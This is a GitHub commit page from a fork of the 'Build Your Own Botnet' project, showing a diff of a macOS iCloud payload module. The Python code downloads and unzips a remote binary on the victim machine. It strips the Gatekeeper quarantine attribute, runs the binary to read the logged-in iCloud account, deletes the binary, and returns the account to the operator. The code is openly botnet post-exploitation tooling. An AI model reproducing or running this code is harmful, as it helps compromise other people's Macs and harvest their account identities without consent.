forked from malwaredllc/byob
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Added command for iCloud module in core/payloads.py; added unzip func…
…tion to core/utilities.py and modules/utilities.py
- Loading branch information
1 parent
36ce73e
commit 8d59faf
Showing
7 changed files
with
53 additions
and
21 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,26 +1,33 @@ | ||
#!/usr/bin/env python | ||
#!/usr/bin/python | ||
'iCloud (Build Your Own Botnet)' | ||
|
||
# standard library | ||
import os | ||
import urllib | ||
import subprocess | ||
|
||
# utilities | ||
import util | ||
|
||
# globals | ||
packages = [] | ||
platforms = ['darwin'] | ||
command = True | ||
usage = 'icloud' | ||
|
||
description = """ | ||
Check for logged in iCloud accounts on macOS | ||
""" | ||
|
||
# main | ||
def run(): | ||
""" | ||
Check for logged in iCloud account on macOS | ||
""" | ||
filename, _ = urllib.urlretrieve("https://github.com/mas-cli/mas/releases/download/v1.4.2/mas-cli.zip") | ||
util.unzip(filename) | ||
mas = os.path.join(os.path.dirname(filename), 'mas') | ||
subprocess.check_output('xattr -r -d com.apple.quarantine {}'.format(mas).split(' ')) | ||
subprocess.Popen(['xattr','-r','-d','com.apple.quarantine',mas], 0, None, subprocess.PIPE, subprocess.PIPE, subprocess.PIPE) | ||
os.chmod(mas, 755) | ||
result= subprocess.check_output([mas, "account"]).rstrip() | ||
result = subprocess.check_output([mas, "account"]).rstrip() | ||
util.delete(mas) | ||
return result |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters